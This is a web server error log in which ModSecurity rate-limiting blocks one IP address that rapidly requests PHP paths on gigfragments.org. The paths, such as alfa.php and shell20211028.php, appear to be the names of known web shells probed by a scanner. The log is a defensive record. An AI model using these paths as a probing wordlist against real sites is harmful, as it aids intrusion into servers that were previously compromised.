[Thu Dec 11 22:37:40.470956 2025] [:error] [pid 4911:tid 4916] [client 4.194.191.135:13253] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aTrXNA-tKegTX9jNpJkP5QAAAUI"]
[Thu Dec 11 22:37:40.822866 2025] [:error] [pid 4464:tid 4540] [client 4.194.191.135:13267] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aTrXNE74RHTpQwGFIyZMKAAAAI4"]
[Thu Dec 11 22:37:41.383141 2025] [:error] [pid 4464:tid 4539] [client 4.194.191.135:13282] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aTrXNU74RHTpQwGFIyZMKQAAAI0"]
[Thu Dec 11 22:37:41.706165 2025] [:error] [pid 4463:tid 4509] [client 4.194.191.135:13231] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aTrXNcWRoGq8qZybgKXf4wAAAE0"]
[Thu Dec 11 22:37:42.219862 2025] [:error] [pid 4464:tid 4545] [client 4.194.191.135:13133] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aTrXNk74RHTpQwGFIyZMKwAAAJM"]
[Thu Dec 11 22:37:42.546349 2025] [:error] [pid 4864:tid 4877] [client 4.194.191.135:13264] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aTrXNmVhcrADVU33AP4j_QAAAQs"]
[Thu Dec 11 22:37:43.175493 2025] [:error] [pid 4911:tid 4922] [client 4.194.191.135:13210] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aTrXNw-tKegTX9jNpJkP7wAAAUg"]
[Thu Dec 11 22:37:43.748750 2025] [:error] [pid 4564:tid 4581] [client 4.194.191.135:13132] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aTrXN5jzC8Q_-qV1DxWYlgAAAM4"]
[Thu Dec 11 22:37:44.437215 2025] [:error] [pid 4464:tid 4532] [client 4.194.191.135:13201] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aTrXOE74RHTpQwGFIyZMLQAAAIY"]
[Thu Dec 11 22:37:44.829684 2025] [:error] [pid 4464:tid 4529] [client 4.194.191.135:13184] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aTrXOE74RHTpQwGFIyZMLgAAAIM"]
[Thu Dec 11 22:37:46.289628 2025] [:error] [pid 4464:tid 4526] [client 4.194.191.135:13309] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aTrXOk74RHTpQwGFIyZMMQAAAIA"]
[Thu Dec 11 22:37:47.014802 2025] [:error] [pid 4911:tid 4938] [client 4.194.191.135:13138] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aTrXOw-tKegTX9jNpJkP8QAAAVg"]
[Thu Dec 11 22:37:47.742250 2025] [:error] [pid 4463:tid 4517] [client 4.194.191.135:13302] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aTrXO8WRoGq8qZybgKXf5gAAAFU"]
[Thu Dec 11 22:37:49.258360 2025] [:error] [pid 4911:tid 4914] [client 4.194.191.135:13190] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "aTrXPQ-tKegTX9jNpJkP9QAAAUA"]
[Thu Dec 11 22:37:50.094949 2025] [:error] [pid 4911:tid 4922] [client 4.194.191.135:13251] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "aTrXPg-tKegTX9jNpJkP9wAAAUg"]
[Thu Dec 11 22:37:51.060760 2025] [:error] [pid 4462:tid 4479] [client 4.194.191.135:13127] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "aTrXP8xEbl7Af0FrMT-LpwAAAAo"]
[Thu Dec 11 22:37:51.528163 2025] [:error] [pid 4911:tid 4931] [client 4.194.191.135:13202] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "aTrXPw-tKegTX9jNpJkP-wAAAVE"]
[Thu Dec 11 22:37:52.522859 2025] [:error] [pid 4464:tid 4535] [client 4.194.191.135:13256] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aTrXQE74RHTpQwGFIyZMMgAAAIk"]
[Thu Dec 11 22:37:52.757056 2025] [:error] [pid 4463:tid 4497] [client 4.194.191.135:13303] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aTrXQMWRoGq8qZybgKXf6wAAAEE"]
[Thu Dec 11 22:37:53.043836 2025] [:error] [pid 4464:tid 4540] [client 4.194.191.135:13239] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aTrXQU74RHTpQwGFIyZMNgAAAI4"]
[Thu Dec 11 22:37:53.586463 2025] [:error] [pid 4463:tid 4503] [client 4.194.191.135:13216] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aTrXQcWRoGq8qZybgKXf7AAAAEc"]
[Thu Dec 11 22:37:53.957000 2025] [:error] [pid 4462:tid 4489] [client 4.194.191.135:13213] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aTrXQcxEbl7Af0FrMT-LqgAAABQ"]
[Thu Dec 11 22:37:54.636367 2025] [:error] [pid 4462:tid 4469] [client 4.194.191.135:13248] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aTrXQsxEbl7Af0FrMT-LrQAAAAA"]
[Thu Dec 11 22:37:55.259226 2025] [:error] [pid 4462:tid 4491] [client 4.194.191.135:13272] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aTrXQ8xEbl7Af0FrMT-LsAAAABY"]
[Thu Dec 11 22:37:56.078286 2025] [:error] [pid 4564:tid 4570] [client 4.194.191.135:13056] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aTrXRJjzC8Q_-qV1DxWYogAAAMM"]
[Thu Dec 11 22:37:56.289303 2025] [:error] [pid 4564:tid 4587] [client 4.194.191.135:13121] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTrXRJjzC8Q_-qV1DxWYowAAANQ"]
[Thu Dec 11 22:37:56.527927 2025] [:error] [pid 4864:tid 4876] [client 4.194.191.135:13286] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTrXRGVhcrADVU33AP4kBwAAAQo"]
[Thu Dec 11 22:37:56.993831 2025] [:error] [pid 4462:tid 4475] [client 4.194.191.135:13212] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTrXRMxEbl7Af0FrMT-LtQAAAAY"]
[Thu Dec 11 22:37:57.284037 2025] [:error] [pid 4462:tid 4489] [client 4.194.191.135:13195] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTrXRcxEbl7Af0FrMT-LtgAAABQ"]
[Thu Dec 11 22:37:57.568690 2025] [:error] [pid 4463:tid 4509] [client 4.194.191.135:13281] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTrXRcWRoGq8qZybgKXf7wAAAE0"]
[Thu Dec 11 22:37:57.835144 2025] [:error] [pid 4462:tid 4469] [client 4.194.191.135:13240] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTrXRcxEbl7Af0FrMT-LuQAAAAA"]
[Thu Dec 11 22:37:58.098124 2025] [:error] [pid 4462:tid 4470] [client 4.194.191.135:13207] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTrXRsxEbl7Af0FrMT-LugAAAAE"]
[Thu Dec 11 22:37:58.553312 2025] [:error] [pid 4911:tid 4916] [client 4.194.191.135:13200] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTrXRg-tKegTX9jNpJkQAQAAAUI"]
[Thu Dec 11 22:37:59.042609 2025] [:error] [pid 4463:tid 4514] [client 4.194.191.135:13288] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aTrXR8WRoGq8qZybgKXf8gAAAFI"]
[Thu Dec 11 22:37:59.620253 2025] [:error] [pid 4864:tid 4881] [client 4.194.191.135:13246] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aTrXR2VhcrADVU33AP4kDwAAAQ8"]
[Thu Dec 11 22:38:00.341216 2025] [:error] [pid 4911:tid 4925] [client 4.194.191.135:13151] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aTrXSA-tKegTX9jNpJkQBAAAAUs"]
[Thu Dec 11 22:38:00.699104 2025] [:error] [pid 4564:tid 4582] [client 4.194.191.135:13176] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/contact.php"] [unique_id "aTrXSJjzC8Q_-qV1DxWYpQAAAM8"]
[Thu Dec 11 22:38:01.041540 2025] [:error] [pid 4911:tid 4926] [client 4.194.191.135:13262] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aTrXSQ-tKegTX9jNpJkQBwAAAUw"]
[Thu Dec 11 22:38:01.416471 2025] [:error] [pid 4911:tid 4919] [client 4.194.191.135:13070] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aTrXSQ-tKegTX9jNpJkQCQAAAUU"]
[Thu Dec 11 22:38:01.634242 2025] [:error] [pid 4463:tid 4505] [client 4.194.191.135:13130] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aTrXScWRoGq8qZybgKXf8wAAAEk"]
[Thu Dec 11 22:38:02.003001 2025] [:error] [pid 4864:tid 4888] [client 4.194.191.135:13122] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aTrXSmVhcrADVU33AP4kFAAAARY"]
[Thu Dec 11 22:38:02.389518 2025] [:error] [pid 4564:tid 4591] [client 4.194.191.135:13257] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aTrXSpjzC8Q_-qV1DxWYpwAAANg"]
[Thu Dec 11 22:38:02.718199 2025] [:error] [pid 4864:tid 4871] [client 4.194.191.135:13217] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aTrXSmVhcrADVU33AP4kFgAAAQU"]
[Thu Dec 11 22:38:02.989430 2025] [:error] [pid 4463:tid 4518] [client 4.194.191.135:13140] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aTrXSsWRoGq8qZybgKXf9gAAAFY"]
[Thu Dec 11 22:38:03.454798 2025] [:error] [pid 4564:tid 4584] [client 4.194.191.135:13305] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lufix.php"] [unique_id "aTrXS5jzC8Q_-qV1DxWYrwAAANE"]
[Thu Dec 11 22:38:03.834625 2025] [:error] [pid 4911:tid 4934] [client 4.194.191.135:13280] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTrXSw-tKegTX9jNpJkQDgAAAVQ"]
[Thu Dec 11 22:38:04.430075 2025] [:error] [pid 4463:tid 4498] [client 4.194.191.135:13258] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTrXTMWRoGq8qZybgKXf-gAAAEI"]
[Thu Dec 11 22:38:04.732361 2025] [:error] [pid 4564:tid 4569] [client 4.194.191.135:13294] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTrXTJjzC8Q_-qV1DxWYswAAAMI"]
[Thu Dec 11 22:38:05.014004 2025] [:error] [pid 4564:tid 4587] [client 4.194.191.135:13067] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aTrXTZjzC8Q_-qV1DxWYtgAAANQ"]
[Thu Dec 11 22:38:05.519305 2025] [:error] [pid 4564:tid 4571] [client 4.194.191.135:13224] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aTrXTZjzC8Q_-qV1DxWYugAAAMQ"]
[Thu Dec 11 22:38:05.778790 2025] [:error] [pid 4564:tid 4580] [client 4.194.191.135:13125] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aTrXTZjzC8Q_-qV1DxWYvAAAAM0"]
[Thu Dec 11 22:38:06.363039 2025] [:error] [pid 4864:tid 4878] [client 4.194.191.135:13078] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aTrXTmVhcrADVU33AP4kGwAAAQw"]
[Thu Dec 11 22:38:06.838075 2025] [:error] [pid 4464:tid 4550] [client 4.194.191.135:13269] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cloud.php"] [unique_id "aTrXTk74RHTpQwGFIyZMOwAAAJg"]
[Thu Dec 11 22:38:07.324995 2025] [:error] [pid 4463:tid 4511] [client 4.194.191.135:13265] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aTrXT8WRoGq8qZybgKXgAgAAAE8"]
[Thu Dec 11 22:38:07.756069 2025] [:error] [pid 4464:tid 4538] [client 4.194.191.135:13129] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aTrXT074RHTpQwGFIyZMPQAAAIw"]
[Thu Dec 11 22:38:08.224511 2025] [:error] [pid 4564:tid 4569] [client 4.194.191.135:13219] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aTrXUJjzC8Q_-qV1DxWYwgAAAMI"]
[Thu Dec 11 22:38:09.202618 2025] [:error] [pid 4564:tid 4572] [client 4.194.191.135:13109] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aTrXUZjzC8Q_-qV1DxWYzAAAAMU"]
